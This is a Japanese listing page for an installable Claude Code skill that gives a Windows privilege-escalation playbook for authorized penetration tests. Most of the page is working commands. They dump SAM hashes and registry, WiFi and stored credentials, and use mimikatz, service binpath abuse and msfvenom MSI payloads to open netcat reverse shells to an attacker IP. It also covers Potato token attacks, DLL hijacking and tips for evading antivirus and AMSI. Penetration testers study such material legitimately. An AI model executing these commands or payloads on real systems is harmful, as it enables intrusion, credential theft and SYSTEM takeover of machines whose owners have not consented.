mcpField
W
Windows Privilege Escalation

Windows Privilege Escalation

github.com/davila7セキュリティ33.0k176 回インストール1 日前に更新
リポジトリ

Windows Privilege Escalation について

許可を得た Windows ペネトレーションテストで、権限昇格の経路を調べるための手法ガイドです。列挙、認証情報の探索、サービス設定、トークン偽装、カーネルエクスプロイトを扱い、運用上の制約や検知リスクも説明します。

主な機能

  1. 01システム・ユーザー・ネットワークの列挙
  2. 02認証情報とパスワードの探索
  3. 03サービス設定の不備チェック
  4. 04トークン偽装とカーネルエクスプロイト
  5. 05権限昇格ツールのリファレンス
  6. 06運用上の制約と検知リスクの説明

活用シーン

  1. 01Windows ホストの昇格経路を評価
  2. 02サービス権限と引用符なしパスを確認
  3. 03保存済み認証情報とトークン権限を調査
  4. 04テスト結果を記録して修正案を提示

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill windows-privilege-escalation

インストール後、Claude Code で/windows-privilege-escalationを入力して読み込まれたか確認します。

詳細

Windows 権限昇格

目的

ペネトレーションテストの実施中に、Windows システムの権限昇格の脆弱性を発見し、悪用するための体系的な手法を提供します。このスキルは、システムの列挙、認証情報の収集、サービスの悪用、トークンのなりすまし、カーネルエクスプロイト、そして標準ユーザーから Administrator または SYSTEM 権限への昇格を可能にするさまざまな設定ミスを扱います。

入力 / 前提条件

  • 初期アクセス: Windows システムへの標準ユーザーとしてのシェルまたは RDP アクセス
  • 列挙ツール: WinPEAS、PowerUp、Seatbelt、または手動コマンド
  • エクスプロイトバイナリ: 事前コンパイル済みのエクスプロイト、またはツールを転送する手段
  • 知識: Windows のセキュリティモデルと権限に関する理解
  • 認可: ペネトレーションテスト活動に対する書面による許可

出力 / 成果物

  • 権限昇格パス: より高い権限へto至る特定された経路
  • 認証情報のダンプ: 収集したパスワード、ハッシュ、またはトークン
  • 昇格されたシェル: Administrator または SYSTEM としてのコマンド実行
  • 脆弱性レポート: 設定ミスとエクスプロイトの文書化
  • 修正の推奨事項: 特定された弱点に対する修正策

中核ワークフロー

1. システムの列挙
基本的なシステム情報
# OS version and patches
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe

# Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

# Environment variables
set
Get-ChildItem Env: | ft Key,Value

# List drives
wmic logicaldisk get caption,description,providername
ユーザーの列挙
# Current user
whoami
echo %USERNAME%

# User privileges
whoami /priv
whoami /groups
whoami /all

# All users
net user
Get-LocalUser | ft Name,Enabled,LastLogon

# User details
net user administrator
net user %USERNAME%

# Local groups
net localgroup
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name,PrincipalSource
ネットワークの列挙
# Network interfaces
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

# Routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric

# ARP table
arp -A

# Active connections
netstat -ano

# Network shares
net share

# Domain Controllers
nltest /DCLIST:DomainName
アンチウイルスの列挙
# Check AV products
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
2. 認証情報の収集
SAM および SYSTEM ファイル
# SAM file locations
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM

# SYSTEM file locations
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# Extract hashes (from Linux after obtaining files)
pwdump SYSTEM SAM > sam.txt
samdump2 SYSTEM SAM -o sam.txt

# Crack with John
john --format=NT sam.txt
HiveNightmare (CVE-2021-36934)
# Check vulnerability
icacls C:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)

# Exploit with mimikatz
mimikatz> token::whoami /full
mimikatz> misc::shadowcopies
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
パスワードの検索
# Search file contents
findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config

# Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# Windows Autologin credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

# PuTTY sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# VNC passwords
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# Search for specific files
dir /S /B *pass*.txt == *pass*.xml == *cred* == *vnc* == *.config*
where /R C:\ *.ini
Unattend.xml の認証情報
# Common locations
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# Search for files
dir /s *sysprep.inf *sysprep.xml *unattend.xml 2>nul

# Decode base64 password (Linux)
echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
WiFi パスワード
# List profiles
netsh wlan show profile

# Get cleartext password
netsh wlan show profile <SSID> key=clear

# Extract all WiFi passwords
for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Key" | find /v "Number" & echo.) & @echo on
PowerShell の履歴
# View PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
3. サービスの悪用
不適切なサービス権限
# Find misconfigured services
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv "Everyone" * /accepteula
accesschk.exe -ucqv <service_name>

# Look for: SERVICE_ALL_ACCESS, SERVICE_CHANGE_CONFIG

# Exploit vulnerable service
sc config <service> binpath= "C:\nc.exe -e cmd.exe 10.10.10.10 4444"
sc stop <service>
sc start <service>
引用符で囲まれていないサービスパス
# Find unquoted paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Exploit: Place malicious exe in path
# For path: C:\Program Files\Some App\service.exe
# Try: C:\Program.exe or C:\Program Files\Some.exe
AlwaysInstallElevated
# Check if enabled
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Both must return 0x1 for vulnerability

# Create malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi

# Install (runs as SYSTEM)
msiexec /quiet /qn /i C:\evil.msi
4. トークンのなりすまし
なりすまし権限の確認
# Look for these privileges
whoami /priv

# Exploitable privileges:
# SeImpersonatePrivilege
# SeAssignPrimaryTokenPrivilege
# SeTcbPrivilege
# SeBackupPrivilege
# SeRestorePrivilege
# SeCreateTokenPrivilege
# SeLoadDriverPrivilege
# SeTakeOwnershipPrivilege
# SeDebugPrivilege
Potato 攻撃
# JuicyPotato (Windows Server 2019 and below)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.10.10 4444 -e cmd.exe" -t *

# PrintSpoofer (Windows 10 and Server 2019)
PrintSpoofer.exe -i -c cmd

# RoguePotato
RoguePotato.exe -r 10.10.10.10 -e "C:\nc.exe 10.10.10.10 4444 -e cmd.exe" -l 9999

# GodPotato
GodPotato.exe -cmd "cmd /c whoami"
5. カーネルの悪用
カーネルの脆弱性の発見
# Use Windows Exploit Suggester
systeminfo > systeminfo.txt
python wes.py systeminfo.txt

# Or use Watson (on target)
Watson.exe

# Or use Sherlock PowerShell script
powershell.exe -ExecutionPolicy Bypass -File Sherlock.ps1
一般的なカーネルエクスプロイト
MS17-010 (EternalBlue) - Windows 7/2008/2003/XP
MS16-032 - Secondary Logon Handle - 2008/7/8/10/2012
MS15-051 - Client Copy Image - 2003/2008/7
MS14-058 - TrackPopupMenu - 2003/2008/7/8.1
MS11-080 - afd.sys - XP/2003
MS10-015 - KiTrap0D - 2003/XP/2000
MS08-067 - NetAPI - 2000/XP/2003
CVE-2021-1732 - Win32k - Windows 10/Server 2019
CVE-2020-0796 - SMBGhost - Windows 10
CVE-2019-1388 - UAC Bypass - Windows 7/8/10/2008/2012/2016/2019
6. その他の手法
DLL ハイジャッキング
# Find missing DLLs with Process Monitor
# Filter: Result = NAME NOT FOUND, Path ends with .dll

# Compile malicious DLL
# For x64: x86_64-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
# For x86: i686-w64-mingw32-gcc windows_dll.c -shared -o evil.dll
保存された認証情報による Runas
# List saved credentials
cmdkey /list

# Use saved credentials
runas /savecred /user:Administrator "cmd.exe /k whoami"
runas /savecred /user:WORKGROUP\Administrator "\\10.10.10.10\share\evil.exe"
WSL の悪用
# Check for WSL
wsl whoami

# Set root as default user
wsl --default-user root
# Or: ubuntu.exe config --default-user root

# Spawn shell as root
wsl whoami
wsl python -c 'import os; os.system("/bin/bash")'

クイックリファレンス

列挙ツール
ツールコマンド目的
WinPEASwinPEAS.exe包括的な列挙
PowerUpInvoke-AllChecksサービスおよびパスの脆弱性
SeatbeltSeatbelt.exe -group=allセキュリティ監査チェック
WatsonWatson.exe未適用のパッチ
JAWS.\jaws-enum.ps1旧バージョンの Windows の列挙
PrivescCheckInvoke-PrivescCheck権限昇格のチェック
既定の書き込み可能なフォルダー
C:\Windows\Temp
C:\Windows\Tasks
C:\Users\Public
C:\Windows\tracing
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
一般的な権限昇格の経路
経路チェックコマンド
引用符で囲まれていないパスwmic service get pathname | findstr /i /v """
弱いサービス権限accesschk.exe -uwcqv "Everyone" *
AlwaysInstallElevatedreg query HKCU\...\Installer /v AlwaysInstallElevated
保存された認証情報cmdkey /list
トークンの権限whoami /priv
スケジュールタスクschtasks /query /fo LIST /v
なりすまし権限のエクスプロイト
権限ツール使い方
SeImpersonatePrivilegeJuicyPotatoCLSID の悪用
SeImpersonatePrivilegePrintSpooferSpooler サービス
SeImpersonatePrivilegeRoguePotatoOXID リゾルバー
SeBackupPrivilegerobocopy /b保護されたファイルの読み取り
SeRestorePrivilegeEnable-SeRestorePrivilege保護されたファイルの書き込み
SeTakeOwnershipPrivilegetakeown.exeファイルの所有権の取得

制約と制限

運用上の境界
  • カーネルエクスプロイトはシステムの不安定化を引き起こす可能性があります
  • 一部のエクスプロイトは特定の Windows バージョンを必要とします
  • AV/EDR が一般的なツールを検知し、ブロックする可能性があります
  • トークンのなりすましにはサービスアカウントのコンテキストが必要です
  • 一部の手法には GUI アクセスが必要です
検出に関する考慮事項
  • 認証情報のダンプはセキュリティアラートをトリガーします
  • サービスの変更はイベントログに記録されます
  • PowerShell の実行が監視される場合があります
  • 既知のエクスプロイトのシグネチャが AV によって検出されます
法的要件
  • 書面による許可を得たシステムのみをテストしてください
  • すべての権限昇格の試行を文書化してください
  • 本番システムの妨害を避けてください
  • すべての検出結果を適切な経路を通じて報告してください

例

例 1: サービスバイナリパスの悪用
# Find vulnerable service
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
# Result: RW MyService SERVICE_ALL_ACCESS

# Check current config
sc qc MyService

# Stop service and change binary path
sc stop MyService
sc config MyService binpath= "C:\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc start MyService

# Catch shell as SYSTEM
例 2: AlwaysInstallElevated の悪用
# Verify vulnerability
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both return: 0x1

# Generate payload (attacker machine)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o shell.msi

# Transfer and execute
msiexec /quiet /qn /i C:\Users\Public\shell.msi

# Catch SYSTEM shell
例 3: JuicyPotato によるトークンのなりすまし
# Verify SeImpersonatePrivilege
whoami /priv
# SeImpersonatePrivilege Enabled

# Run JuicyPotato
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\public\nc.exe 10.10.10.10 4444 -e cmd.exe" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# Catch SYSTEM shell
例 4: 引用符で囲まれていないサービスパス
# Find unquoted path
wmic service get name,pathname | findstr /i /v """
# Result: C:\Program Files\Vuln App\service.exe

# Check write permissions
icacls "C:\Program Files\Vuln App"
# Result: Users:(W)

# Place malicious binary
copy C:\Users\Public\shell.exe "C:\Program Files\Vuln.exe"

# Restart service
sc stop "Vuln App"
sc start "Vuln App"
例 5: レジストリからの認証情報の収集
# Check for auto-logon credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# DefaultUserName: Administrator
# DefaultPassword: P@ssw0rd123

# Use credentials
runas /user:Administrator cmd.exe
# Or for remote: psexec \\target -u Administrator -p P@ssw0rd123 cmd

トラブルシューティング

問題原因解決策
エクスプロイトが失敗する(AV が検出)AV が既知のエクスプロイトをブロックしている難読化したエクスプロイトを使用する。LOLBins(mshta、certutil など)を利用する。カスタムでコンパイルしたバイナリを使用する
サービスが起動しないバイナリパスの構文binpath の = の後にスペースがあることを確認する:binpath= "C:\path\binary.exe"
トークンのなりすましが失敗する権限またはバージョンが不適切whoami /priv を確認し、Windows のバージョン互換性を検証する
カーネルエクスプロイトが見つからないシステムにパッチが適用されているWindows Exploit Suggester を実行する:python wes.py systeminfo.txt
PowerShell がブロックされる実行ポリシーまたは AMSIpowershell -ep bypass -c "cmd" または -enc <base64> を使用する

コメント